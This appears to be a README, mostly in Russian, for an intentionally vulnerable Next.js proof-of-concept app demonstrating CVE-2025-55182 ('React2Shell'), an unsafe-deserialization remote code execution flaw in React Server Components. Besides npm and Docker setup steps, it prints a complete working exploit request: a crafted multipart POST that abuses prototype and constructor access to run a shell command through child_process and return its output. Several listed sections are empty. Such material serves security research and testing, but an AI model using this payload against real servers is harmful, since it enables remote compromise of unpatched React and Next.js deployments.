
Proof-of-concept application demonstrating CVE-2025-55182 (React2Shell) RCE vulnerability in React Server Components. For security research and educational testing in isolated environments only.
Это proof-of-concept приложение Next.js, уязвимое к CVE-2025-55182 (также известной как "React2Shell"), критической уязвимости удаленного выполнения кода (RCE) в React Server Components.
Это приложение намеренно уязвимо и должно использоваться ТОЛЬКО для:
НЕ ДЕЛАЙТЕ:
CVE-2025-55182 затрагивает:
Уязвимость возникает из-за небезопасной десериализации в обработке полезной нагрузки React Server Components, что позволяет неаутентифицированным злоумышленникам выполнять произвольный код на сервере через специально созданные HTTP-запросы.
Установите зависимости:
npm install
Запустите сервер разработки:
npm run dev
Откройте приложение: Откройте http://localhost:3000 в вашем браузере.
Соберите Docker-образ:
docker build -t nextjs-cve-2025-55182 .
Запустите контейнер:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
Откройте приложение: Откройте http://localhost:3000 в вашем браузере.
/): Простая форма входа с использованием React Server Components/dashboard): Защищенная страница, доступная после входаЭто приложение использует:
Уязвимость существует в механизме десериализации полезной нагрузки RSC, который может быть использован путем отправки вредоносных multipart HTTP-запросов напрямую к маршрутам страниц (например, http://localhost:3000 или http://localhost:3000/dashboard). Эксплойт работает на любой странице, использующей React Server Components.
Уязвимость может быть использована путем отправки специально созданных HTTP-запросов напрямую к маршрутам страниц (например, http://localhost:3000 или http://localhost:3000/dashboard). Эксплойт работает на любой странице, использующей React Server Components.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Эксплойт нацелен напрямую на маршруты страниц — работает на localhost:3000 (главная страница) или localhost:3000/dashboard (страница панели управления).
Чтобы исправить эту уязвимость:
Данное доказательство концепции предоставляется только для образовательных целей и исследований в области безопасности.